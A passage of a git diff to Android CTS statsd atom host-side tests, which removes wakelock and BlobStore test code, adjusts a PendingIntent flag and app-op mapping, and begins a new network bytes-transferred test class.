-        //                     ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION_MS);
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION_MS +
-        //                     ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION_MS);
-        //
-        //             // Validate statsd.
-        //             long statsdDurationNs = statsdWakelockData.get(EXPECTED_UID).get(tag);
-        //             long statsdDurationMs = statsdDurationNs / 1_000_000;
-        //             long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        //             assertTrue("Unusually large difference in wakelock duration for tag: " +
-        // tag +
-        //                         ". Statsd had duration " + statsdDurationMs +
-        //                         " and batterystats had duration " + bsDurationMs,
-        //                         difference <= bsDurationMs / 10);
-        //
-        //         }
-        //     }
-        // }
-        // assertTrue("Did not find uid " + EXPECTED_UID + " in batterystats.", foundUid);
-        //
-        // // Assert that the wakelock appears in statsd and is correct.
-        // assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
-        //         statsdWakelockData.containsKey(EXPECTED_UID));
-        // HashMap<String, Long> expectedWakelocks = statsdWakelockData.get(EXPECTED_UID);
-        // assertEquals("Expected " + NUM_THREADS + " wakelocks in statsd with UID " +
-        // EXPECTED_UID +
-        //         ". Received " + expectedWakelocks.size(), expectedWakelocks.size(), NUM_THREADS);
-    }
-
-    // Helper functions
-    // TODO: Refactor these into some utils class.
-
-    public HashMap<Integer, HashMap<Long, Long>> getStatsdWakelockData() throws Exception {
-        StatsLogReport report = getStatsLogReport();
-        CLog.d("Received the following stats log report: \n" + report.toString());
-
-        // Stores total duration of each wakelock across buckets.
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = new HashMap<>();
-
-        for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
-            // Gets tag and uid.
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            assertThat(dims).hasSize(2);
-            boolean hasTag = false;
-            long tag = 0;
-            int uid = -1;
-            long duration = 0;
-            for (DimensionsValue dim : dims) {
-                if (dim.hasValueInt()) {
-                    uid = dim.getValueInt();
-                } else if (dim.hasValueStrHash()) {
-                    hasTag = true;
-                    tag = dim.getValueStrHash();
-                }
-            }
-            assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
-            assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
-
-            // Gets duration.
-            for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
-                duration += bucketInfo.getDurationNanos();
-            }
-
-            // Store the info.
-            if (statsdWakelockData.containsKey(uid)) {
-                HashMap<Long, Long> tagToDuration = statsdWakelockData.get(uid);
-                tagToDuration.put(tag, duration);
-            } else {
-                HashMap<Long, Long> tagToDuration = new HashMap<>();
-                tagToDuration.put(tag, duration);
-                statsdWakelockData.put(uid, tagToDuration);
-            }
-        }
-        CLog.d("follow: statsdwakelockdata is: " + statsdWakelockData);
-        return statsdWakelockData;
-    }
-
-    private android.os.TimerProto getBatteryStatsPartialWakelock(BatteryStatsProto proto,
-            long uid, String tag) {
-        if (proto.getUidsList().size() < 1) {
-            CLog.w("Batterystats proto contains no uids");
-            return null;
-        }
-        boolean hadUid = false;
-        for (UidProto uidProto : proto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                hadUid = true;
-                for (Wakelock wl : uidProto.getWakelocksList()) {
-                    if (tag.equals(wl.getName())) {
-                        if (wl.hasPartial()) {
-                            return wl.getPartial();
-                        }
-                        CLog.w("Batterystats had wakelock for uid (" + uid + ") "
-                                + "with tag (" + tag + ") "
-                                + "but it didn't have a partial wakelock");
-                    }
-                }
-                CLog.w("Batterystats didn't have a partial wakelock for uid " + uid
-                        + " with tag " + tag);
-            }
-        }
-        if (!hadUid) CLog.w("Batterystats didn't have uid " + uid);
-        return null;
-    }
-
-    public void uploadWakelockDurationBatteryStatsConfig(TimeUnit bucketsize) throws Exception {
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        String metricName = "DURATION_PARTIAL_WAKELOCK_PER_TAG_UID_WHILE_SCREEN_OFF_ON_BATTERY";
-        int metricId = metricName.hashCode();
-
-        String partialWakelockIsOnName = "PARTIAL_WAKELOCK_IS_ON";
-        int partialWakelockIsOnId = partialWakelockIsOnName.hashCode();
-
-        String partialWakelockOnName = "PARTIAL_WAKELOCK_ON";
-        int partialWakelockOnId = partialWakelockOnName.hashCode();
-        String partialWakelockOffName = "PARTIAL_WAKELOCK_OFF";
-        int partialWakelockOffId = partialWakelockOffName.hashCode();
-
-        String partialWakelockAcquireName = "PARTIAL_WAKELOCK_ACQUIRE";
-        int partialWakelockAcquireId = partialWakelockAcquireName.hashCode();
-        String partialWakelockChangeAcquireName = "PARTIAL_WAKELOCK_CHANGE_ACQUIRE";
-        int partialWakelockChangeAcquireId = partialWakelockChangeAcquireName.hashCode();
-
-        String partialWakelockReleaseName = "PARTIAL_WAKELOCK_RELEASE";
-        int partialWakelockReleaseId = partialWakelockReleaseName.hashCode();
-        String partialWakelockChangeReleaseName = "PARTIAL_WAKELOCK_CHANGE_RELEASE";
-        int partialWakelockChangeReleaseId = partialWakelockChangeReleaseName.hashCode();
-
-
-        String screenOffBatteryOnName = "SCREEN_IS_OFF_ON_BATTERY";
-        int screenOffBatteryOnId = screenOffBatteryOnName.hashCode();
-
-        String screenStateUnknownName = "SCREEN_STATE_UNKNOWN";
-        int screenStateUnknownId = screenStateUnknownName.hashCode();
-        String screenStateOffName = "SCREEN_STATE_OFF";
-        int screenStateOffId = screenStateOffName.hashCode();
-        String screenStateOnName = "SCREEN_STATE_ON";
-        int screenStateOnId = screenStateOnName.hashCode();
-        String screenStateDozeName = "SCREEN_STATE_DOZE";
-        int screenStateDozeId = screenStateDozeName.hashCode();
-        String screenStateDozeSuspendName = "SCREEN_STATE_DOZE_SUSPEND";
-        int screenStateDozeSuspendId = screenStateDozeSuspendName.hashCode();
-        String screenStateVrName = "SCREEN_STATE_VR";
-        int screenStateVrId = screenStateVrName.hashCode();
-        String screenStateOnSuspendName = "SCREEN_STATE_ON_SUSPEND";
-        int screenStateOnSuspendId = screenStateOnSuspendName.hashCode();
-
-        String screenTurnedOnName = "SCREEN_TURNED_ON";
-        int screenTurnedOnId = screenTurnedOnName.hashCode();
-        String screenTurnedOffName = "SCREEN_TURNED_OFF";
-        int screenTurnedOffId = screenTurnedOffName.hashCode();
-
-        String screenIsOffName = "SCREEN_IS_OFF";
-        int screenIsOffId = screenIsOffName.hashCode();
-
-        String pluggedStateBatteryPluggedNoneName = "PLUGGED_STATE_BATTERY_PLUGGED_NONE";
-        int pluggedStateBatteryPluggedNoneId = pluggedStateBatteryPluggedNoneName.hashCode();
-        String pluggedStateBatteryPluggedAcName = "PLUGGED_STATE_BATTERY_PLUGGED_AC";
-        int pluggedStateBatteryPluggedAcId = pluggedStateBatteryPluggedAcName.hashCode();
-        String pluggedStateBatteryPluggedUsbName = "PLUGGED_STATE_BATTERY_PLUGGED_USB";
-        int pluggedStateBatteryPluggedUsbId = pluggedStateBatteryPluggedUsbName.hashCode();
-        String pluggedStateBatteryPluggedWlName = "PLUGGED_STATE_BATTERY_PLUGGED_WIRELESS";
-        int pluggedStateBatteryPluggedWirelessId = pluggedStateBatteryPluggedWlName.hashCode();
-
-        String pluggedStateBatteryPluggedName = "PLUGGED_STATE_BATTERY_PLUGGED";
-        int pluggedStateBatteryPluggedId = pluggedStateBatteryPluggedName.hashCode();
-
-        String deviceIsUnpluggedName = "DEVICE_IS_UNPLUGGED";
-        int deviceIsUnpluggedId = deviceIsUnpluggedName.hashCode();
-
-
-        FieldMatcher.Builder dimensions = FieldMatcher.newBuilder()
-                .setField(atomTag)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(WakelockStateChanged.TAG_FIELD_NUMBER))
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(1)
-                        .setPosition(Position.FIRST)
-                        .addChild(FieldMatcher.newBuilder()
-                                .setField(1)));
-
-        AtomMatcher.Builder wakelockAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockOn = AtomMatcher.newBuilder()
-                .setId(partialWakelockOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockAcquireId)
-                        .addMatcher(partialWakelockChangeAcquireId));
-
-        AtomMatcher.Builder wakelockOff = AtomMatcher.newBuilder()
-                .setId(partialWakelockOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockReleaseId)
-                        .addMatcher(partialWakelockChangeReleaseId));
-
-
-        Predicate.Builder wakelockPredicate = Predicate.newBuilder()
-                .setId(partialWakelockIsOnId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(partialWakelockOnId)
-                        .setStop(partialWakelockOffId)
-                        .setCountNesting(true)
-                        .setDimensions(dimensions));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedNone = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedNoneId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedAc = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedAcId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedUsb = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedUsbId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedWireless = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedWirelessId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPlugged = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(pluggedStateBatteryPluggedAcId)
-                        .addMatcher(pluggedStateBatteryPluggedUsbId)
-                        .addMatcher(pluggedStateBatteryPluggedWirelessId));
-
-        Predicate.Builder deviceIsUnplugged = Predicate.newBuilder()
-                .setId(deviceIsUnpluggedId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(pluggedStateBatteryPluggedNoneId)
-                        .setStop(pluggedStateBatteryPluggedId)
-                        .setCountNesting(false));
-
-        AtomMatcher.Builder screenStateUnknown = AtomMatcher.newBuilder()
-                .setId(screenStateUnknownId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE)));
-
-        AtomMatcher.Builder screenStateOff = AtomMatcher.newBuilder()
-                .setId(screenStateOffId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)));
-
-        AtomMatcher.Builder screenStateOn = AtomMatcher.newBuilder()
-                .setId(screenStateOnId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)));
-
-        AtomMatcher.Builder screenStateDoze = AtomMatcher.newBuilder()
-                .setId(screenStateDozeId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE)));
-
-        AtomMatcher.Builder screenStateDozeSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateDozeSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE)));
-
-        AtomMatcher.Builder screenStateVr = AtomMatcher.newBuilder()
-                .setId(screenStateVrId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_VR_VALUE)));
-
-        AtomMatcher.Builder screenStateOnSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateOnSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE)));
-
-
-        AtomMatcher.Builder screenTurnedOff = AtomMatcher.newBuilder()
-                .setId(screenTurnedOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOffId)
-                        .addMatcher(screenStateDozeId)
-                        .addMatcher(screenStateDozeSuspendId)
-                        .addMatcher(screenStateUnknownId));
-
-        AtomMatcher.Builder screenTurnedOn = AtomMatcher.newBuilder()
-                .setId(screenTurnedOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOnId)
-                        .addMatcher(screenStateOnSuspendId)
-                        .addMatcher(screenStateVrId));
-
-        Predicate.Builder screenIsOff = Predicate.newBuilder()
-                .setId(screenIsOffId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(screenTurnedOffId)
-                        .setStop(screenTurnedOnId)
-                        .setCountNesting(false));
-
-
-        Predicate.Builder screenOffBatteryOn = Predicate.newBuilder()
-                .setId(screenOffBatteryOnId)
-                .setCombination(Predicate.Combination.newBuilder()
-                        .setOperation(LogicalOperation.AND)
-                        .addPredicate(screenIsOffId)
-                        .addPredicate(deviceIsUnpluggedId));
-
-        StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addDurationMetric(DurationMetric.newBuilder()
-                .setId(metricId)
-                .setWhat(partialWakelockIsOnId)
-                .setCondition(screenOffBatteryOnId)
-                .setDimensionsInWhat(dimensions)
-                .setBucket(bucketsize))
-                .addAtomMatcher(wakelockAcquire)
-                .addAtomMatcher(wakelockChangeAcquire)
-                .addAtomMatcher(wakelockRelease)
-                .addAtomMatcher(wakelockChangeRelease)
-                .addAtomMatcher(wakelockOn)
-                .addAtomMatcher(wakelockOff)
-                .addAtomMatcher(pluggedStateBatteryPluggedNone)
-                .addAtomMatcher(pluggedStateBatteryPluggedAc)
-                .addAtomMatcher(pluggedStateBatteryPluggedUsb)
-                .addAtomMatcher(pluggedStateBatteryPluggedWireless)
-                .addAtomMatcher(pluggedStateBatteryPlugged)
-                .addAtomMatcher(screenStateUnknown)
-                .addAtomMatcher(screenStateOff)
-                .addAtomMatcher(screenStateOn)
-                .addAtomMatcher(screenStateDoze)
-                .addAtomMatcher(screenStateDozeSuspend)
-                .addAtomMatcher(screenStateVr)
-                .addAtomMatcher(screenStateOnSuspend)
-                .addAtomMatcher(screenTurnedOff)
-                .addAtomMatcher(screenTurnedOn)
-                .addPredicate(wakelockPredicate)
-                .addPredicate(deviceIsUnplugged)
-                .addPredicate(screenIsOff)
-                .addPredicate(screenOffBatteryOn);
-
-        uploadConfig(builder);
-    }
-}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index f7a9cd1..4e6f943 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -28,6 +28,7 @@
         "src/**/jobscheduler/*.java",
         "src/**/integrity/*.java",
         "src/**/memory/*.java",
+        "src/**/net/*.java",
         "src/**/notification/*.java",
         "src/**/permissionstate/*.java",
         "src/**/settingsstats/*.java",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
index fd9089a..032bf80 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -48,7 +48,6 @@
         "androidx.legacy_legacy-support-v4",
         "androidx.test.rules",
         "cts-net-utils",
-        "BlobStoreTestUtils"
     ],
     jni_libs: ["liblmkhelper_statsdatom"],
     compile_multilib: "both",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 4b47a81..4b1c836 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -27,7 +27,6 @@
 import android.app.AlarmManager;
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
 import android.bluetooth.BluetoothAdapter;
@@ -79,9 +78,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.FakeBlobData;
-
-import com.google.common.io.BaseEncoding;
 
 import org.junit.Test;
 
@@ -90,7 +86,6 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
-import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
@@ -207,6 +202,7 @@
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
     }
 
     @Test
@@ -803,7 +799,7 @@
         BroadcastReceiver receiver =
                 registerReceiver(context, onReceiveLatch, new IntentFilter(name));
         AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
-        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), 0);
+        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), PendingIntent.FLAG_IMMUTABLE);
         manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
             SystemClock.elapsedRealtime() + 2_000, pintent);
         waitForReceiver(context, 10_000, onReceiveLatch, receiver);
@@ -974,41 +970,6 @@
         }
     }
 
-    // Constants for testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
-            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
-    @Test
-    public void testBlobStore() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
-        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
-        final FakeBlobData blobData = new FakeBlobData.Builder(context).setExpiryDurationMs(
-                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
-        blobData.prepare();
-        try {
-            // Commit the Blob, should result in BLOB_COMMITTED atom event
-            commitBlob(context, bsm, blobData);
-
-            // Lease the Blob, should result in BLOB_LEASED atom event
-            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
-            // Open the Blob, should result in BLOB_OPENED atom event
-            bsm.openBlob(blobData.getBlobHandle());
-
-        } finally {
-            blobData.delete();
-        }
-    }
-
     // ------- Helper methods
 
     /** Puts the current thread to sleep. */
@@ -1066,21 +1027,6 @@
         runShellCommand("settings put system screen_brightness " + brightness);
     }
 
-
-    private void commitBlob(Context context, BlobStoreManager bsm, FakeBlobData blobData)
-            throws Exception {;
-        final long sessionId = bsm.createSession(blobData.getBlobHandle());
-        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
-            blobData.writeToSession(session);
-            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
-            final CompletableFuture<Integer> callback = new CompletableFuture<>();
-            session.commit(context.getMainExecutor(), callback::complete);
-            assertWithMessage("Session failed to commit within timeout").that(
-                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
-        }
-    }
-
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
 
     public void wifiDisconnect(Context context) throws Exception {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
new file mode 100644
index 0000000..8e4ca4d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.net;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BytesTransferredTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        // Put a delay to give statsd enough time to remove previous configs and
+        // reports, as well as install the test app.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_APK,
+                DeviceUtils.STATSD_ATOM_TEST_PKG, mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    // TODO: inline the contents of doTestUsageBytesTransferEnable
+    public void testDataUsageBytesTransfer() throws Throwable {
+        final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+        doTestDataUsageBytesTransferEnabled(true);
+
+        // Remove old configs from disk and clear any pending statsd reports to clear history.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        doTestDataUsageBytesTransferEnabled(false);
+
+        // Restore to original default value.
+        setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+    }
+
+    public void testMobileBytesTransfer() throws Throwable {
+        // Tests MobileBytesTransfer, passing a ThrowingPredicate that returns TransferredBytes,
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransfer data = atom.getMobileBytesTransfer();
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
